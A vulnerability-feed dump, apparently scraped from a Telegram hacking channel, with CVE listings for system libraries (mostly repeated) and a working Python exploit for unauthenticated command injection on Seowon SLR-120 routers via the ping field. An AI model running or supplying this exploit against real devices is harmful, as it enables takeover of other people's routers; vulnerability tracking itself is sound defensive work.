"1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.359209+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45721", "content": "KitPloit - PenTest Tools!\nMaster_Librarian - A Simple Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjsrmhQfDtTdfBPNa6qZgsSf3u30VLPYC3uKiVcyq9ZGHj16L1OT3WrO1HfwDyWXqnHKHPKJbSTz2Whniw57u-WtS5y_mcQsWyfzNYadEoNL2ZgYGTEeORZsjTrJzIDyx8ZUunfcL0CntifHoVg48hyGjYPR8doMybpPRTOwLUqmaUvooKWE3KXcFIO=w640-h480 A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\nTo install requirements: $ sudo python3 -m pip install -r requirements.txt Overview:\n\nvulnerabilities on local libraries  by CoolerVoid    Example:    $ python3 master_librarian.py -t csv   $ python3 master_librarian.py -t txt -l 3    usage: master_librarian.py [-h] -t TYPES [-l LIMIT]    optional arguments:    -h, --help            show this help message and exit    -t TYPES, --type TYPES                          Name of output type for logs(txt or csv)    -l LIMIT, --limit LIMIT                          Limit CVEs per pages in nvd NIST search(default is 3)  \">$ python3 master_librarian.py -h\nMaster librarian v0.3 \nTool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\n\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\n\noptional arguments:\n-h, --help            show this help message and exit\n-t TYPES, --type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, --limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3) \n\nExample: $ python3 master_librarian.py -t txt output\n\nvulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.    https://nvd.nist.gov/vuln/detail/CVE-2020-13529    2.9 LOW      systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.    https://nvd.nist.gov/vuln/detail/CVE-2020-13776    6.2 MEDIUM      A heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.    https://nvd.nist.gov/vuln/detail/CVE-2020-1712    4.6 MEDIUM    expat 2.2.9  pangocairo 1.44.7  xdmcp 1.1.3  libpcreposix 8.39  ruby-2.7 2.7.0  glib-2.0 2.64.6  gnome-system-tools 3.0.0  xinerama 1.1.4  nunit 2.6.3  gmp 6.2.0  libevent 2.1.11-stable  xbuild12 12.0  xorg-sgml-doctools 1.11  presentproto 1.2  gdk-pixbuf-2.0 2.40.0  inputproto 2.3.2  libssl 1.1.1f  xcb-shm 1.14  gdk-2.0 2.24.32  libpng16 1.6.37  bigreqsproto 1.1.2  icu-io 66.1  xextproto 7.3.0  libthai 0.1.28  libbsd-overlay 0.10.0  mount 2.34.0  gio-2.0 2.64.6  adwaita-icon-theme 3.36.1  fontconfig 2.13.1  xrandr 1.5.2  monosgen-2 6.8.0.105  mono 6.8.0.105  xf86dgaproto 2.1  dri3proto 1.2  libpcre 8.39  pangoxft 1.44.7  blkid 2.34.0  libsepol 3.0  libevent_openssl 2.1.11-stable  uuid 2.34.0  gmodule-2.0 2.64.6  graphite2 3.0.1  libfl 2.6.4  zlib 1.2.11  cairo-pdf 1.16.0  ruby 2.7.0    Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource co[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-1712", "author": {"login": "automation"}}, {"uuid": "5d01ecd7-8608-455e-841d-e260d890ef32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.316821+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45961", "content": "Exploit Collector\nSeowon SLR-120 Router Remote Code Execution\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nSeowon SLR-120 Router unauthenticated remote code execution exploit.\n\nMD5 | fd60177cab243b9e939f0c03fb92cb05\n\nDownload\n# Exploit Title: Seowon SLR-120 Router - Remote Code Execution (Unauthenticated)\n# Date: 2022-03-11\n# Exploit Author: Aryan Chehreghani\n# Vendor Homepage: http://www.seowonintech.co.kr\n# Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=126&big_kind=B05&middle_kind=B05_30\n# Version: All version\n# Tested on: Windows 10 Enterprise x64 , Linux\n# CVE : CVE-2020-17456\n\n# [ About - Seowon SLR-120 router ]:\n\n#The SLR-120 series are provide consistent access to LTE networks and transforms it to your own hotspot while being mobile,\n#The convenience of sharing wireless internet access invigorates your lifestyle, families,\n#friends and workmates. Carry it around to boost your active communication anywhere.\n\n# [ Description ]:\n\n#Execute commands without authentication as admin user ,\n#To use it in all versions, we only enter the router ip & Port(if available) in the script and Execute commands with root user.\n\n# [ Vulnerable products ]:\n\n#SLR-120S42G\n#SLR-120D42G\n#SLR-120T42G\n\nimport requests\n\nprint ('''\n########################################################### \n#    Seowon SLR-120S42G router - RCE (Unauthenticated)    #\n#                  BY:Aryan Chehreghani                   #\n#        Team:TAPESH DIGITAL SECURITY TEAM IRAN           #\n#             mail:aryanchehreghani@yahoo.com              # \n#                 -+-USE:python script.py                 #\n#         Example Target : http://192.168.1.1:443/        #\n###########################################################\n''')\n\nurl = input (\"=> Enter Target : \")\n\nwhile(True):\n\ntry:\n\ncmd = input (\"~Enter Command $ \")\n\nheader = {\n\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0\",\n\"Accept\": \"*/*\",\n\"Accept-Language\": \"en-US,en;q:0.5\",\n\"Accept-Encoding\": \"gzip, deflate\",\n\"Content-Type\": \"application/x-www-form-urlencoded\",\n\"Content-Length\": \"207\",\n\"Origin\": \"http://192.168.1.1\",\n\"Connection\": \"close\",\n\"Referer\": \"http://192.168.1.1/\",\n\"Upgrade-Insecure-Requests\": \"1\"\n}\n\ndatas = {\n'Command':'Diagnostic',\n'traceMode':'ping',\n'reportIpOnly':'',\n'pingIpAddr':';'+cmd,\n'pingPktSize':'56',\n'pingTimeout':'30',\n'pingCount':'4',\n'maxTTLCnt':'30',\n'queriesCnt':'3',\n'reportIpOnlyCheckbox':'on',\n'logarea':'com.cgi',\n'btnApply':'Apply',\n'T':'1646950471018'\n}\n\nx = requests.post(url+'/cgi-bin/system_log.cgi?',data=datas)\n\nprint(x.text)\n\nexcept:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-17456", "author": {"login": "automation"}}, {"uuid": "d6a221c8-5fe0-41ad-a7d8-14875f8b81cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.271151+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46211", "content": "Making Sense Of The Dirty Pipe Vulnerability (CVE-2022\u20130847)\u200a\u2014\u200aRedHunt Labs\nhttps://redhuntlabs.medium.com/making-sense-of-the-dirty-pipe-vulnerability-cve-2022-0847-redhunt-labs-6db5fb668dfe?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0847", "author": {"login": "automation"}}, {"uuid": "fd770ee4-9d23-4a9d-b29a-8c83ea28429b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.230149+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45703", "content": "Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2   .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n  https://nvd.nist.gov/vuln/detail/CVE-2021-32740\n  5.0 MEDIUM\n\n  An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-10933\n  5.0 MEDIUM\n\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\n  cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa   tible with WebKit's fastMalloc, leading to an application crash with a \"free(): invalid pointer\" error.\n  https://nvd.nist.gov/vuln/detail/CVE-2018-19876\n  4.3 MEDIUM\n\nxcb 1.14\n  Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-0752\n  5.0 MEDIUM\n\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.   2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\n  In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15801\n  7.5 HIGH\n\n  In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15523\n  6.9 MEDIUM\n\nxineramapro   to 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\n  nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\n  https://nvd.nist.gov/vuln/detail/CVE-2019-20367\n  6.4 MEDIUM\n\nxft 2.3.3\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-20367", "author": {"login": "automation"}}, {"uuid": "af105ff3-264f-4b49-84c4-8fa747abba05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.185383+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45703", "content": "Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2   .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n  https://nvd.nist.gov/vuln/detail/CVE-2021-32740\n  5.0 MEDIUM\n\n  An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-10933\n  5.0 MEDIUM\n\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\n  cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa   tible with WebKit's fastMalloc, leading to an application crash with a \"free(): invalid pointer\" error.\n  https://nvd.nist.gov/vuln/detail/CVE-2018-19876\n  4.3 MEDIUM\n\nxcb 1.14\n  Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-0752\n  5.0 MEDIUM\n\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.   2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\n  In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15801\n  7.5 HIGH\n\n  In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15523\n  6.9 MEDIUM\n\nxineramapro   to 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\n  nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\n  https://nvd.nist.gov/vuln/detail/CVE-2019-20367\n  6.4 MEDIUM\n\nxft 2.3.3\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-15523", "author": {"login": "automation"}}, {"uuid": "8eb640da-4c13-47f6-a166-3838920bac86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.139606+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45703", "content": "Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2   .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n  https://nvd.nist.gov/vuln/detail/CVE-2021-32740\n  5.0 MEDIUM\n\n  An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-10933\n  5.0 MEDIUM\n\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\n  cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa   tible with WebKit's fastMalloc, leading to an application crash with a \"free(): invalid pointer\" error.\n  https://nvd.nist.gov/vuln/detail/CVE-2018-19876\n  4.3 MEDIUM\n\nxcb 1.14\n  Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-0752\n  5.0 MEDIUM\n\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.   2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\n  In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15801\n  7.5 HIGH\n\n  In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15523\n  6.9 MEDIUM\n\nxineramapro   to 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\n  nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\n  https://nvd.nist.gov/vuln/detail/CVE-2019-20367\n  6.4 MEDIUM\n\nxft 2.3.3\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-10933", "author": {"login": "automation"}}, {"uuid": "9489bc51-13fb-41cc-9f33-907a5a9370b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.722061+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45703", "content": "Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2   .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n  https://nvd.nist.gov/vuln/detail/CVE-2021-32740\n  5.0 MEDIUM\n\n  An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-10933\n  5.0 MEDIUM\n\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\n  cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa   tible with WebKit's fastMalloc, leading to an application crash with a \"free(): invalid pointer\" error.\n  https://nvd.nist.gov/vuln/detail/CVE-2018-19876\n  4.3 MEDIUM\n\nxcb 1.14\n  Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-0752\n  5.0 MEDIUM\n\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.   2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\n  In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15801\n  7.5 HIGH\n\n  In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15523\n  6.9 MEDIUM\n\nxineramapro   to 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\n  nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\n  https://nvd.nist.gov/vuln/detail/CVE-2019-20367\n  6.4 MEDIUM\n\nxft 2.3.3\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2016-0752", "author": {"login": "automation"}}, {"uuid": "caf5ba5a-9ff2-4ccb-acb9-89475147eac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.678980+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45703", "content": "Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2   .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n  https://nvd.nist.gov/vuln/detail/CVE-2021-32740\n  5.0 MEDIUM\n\n  An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-10933\n  5.0 MEDIUM\n\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\n  cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa   tible with WebKit's fastMalloc, leading to an application crash with a \"free(): invalid pointer\" error.\n  https://nvd.nist.gov/vuln/detail/CVE-2018-19876\n  4.3 MEDIUM\n\nxcb 1.14\n  Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.\n  https://nvd.nist.gov/vuln/detail/CVE-2016-0752\n  5.0 MEDIUM\n\nfribidi 1.0.8\nxtrans 1.4.0\ncairo-xlib-xrender 1.16.0\nmono-lineeditor 0.2.1\nxcmiscproto 1.2.2\ngmodule-no-export-2.0 2.64.6\ndri2proto 2.8\npython3-embed 3.8\nlibpcre32 8.39\nsystem.web.mvc2 2.0.0.0\ndotnet 6.8.0.105\niso-codes 4.4\nfontutil 1.3.1\nxbitmaps 1.1.1\nsystem.web.extensions_1.0 1.0.61025.0\nrecordproto 1.14.2\nresourceproto 1.   2.0\nmobile-broadband-provider-info 20190618\nvideoproto 2.3.3\nlibevent_core 2.1.11-stable\nfontsproto 2.1.3\nxsp-4 4.2\npython3 3.8\n  In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15801\n  7.5 HIGH\n\n  In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-15523\n  6.9 MEDIUM\n\nxineramapro   to 1.2.1\nxcb-render 1.14\nlibpcre2-32 10.34\nlibbsd-ctor 0.10.0\nlibbsd 0.10.0\n  nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).\n  https://nvd.nist.gov/vuln/detail/CVE-2019-20367\n  6.4 MEDIUM\n\nxft 2.3.3\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-32740", "author": {"login": "automation"}}, {"uuid": "4667c27f-3b50-4bbb-ad32-d3475ac50cf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:06.643847+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45703", "content": "Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2   .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n  https://nvd.nist.gov/vuln/detail/CVE-2021-32740\n  5.0 MEDIUM\n\n  An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.\n  https://nvd.nist.gov/vuln/detail/CVE-2020-10933\n  5.0 MEDIUM\n\nlibevent_extra 2.1.11-stable\nsystem.web.mvc3 3.0.0.0\nlibstartup-notification-1.0 0.12\nmono-2 6.8.0.105\nmono-nunit 2.6.3\ngobject-2.0 2.64.6\nglproto 1.4.17\ncairo-ft 1.16.0\n  cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa   tible with WebKit's fastMalloc, leading to an application crash with a \"free(): invalid pointer\" error.\n  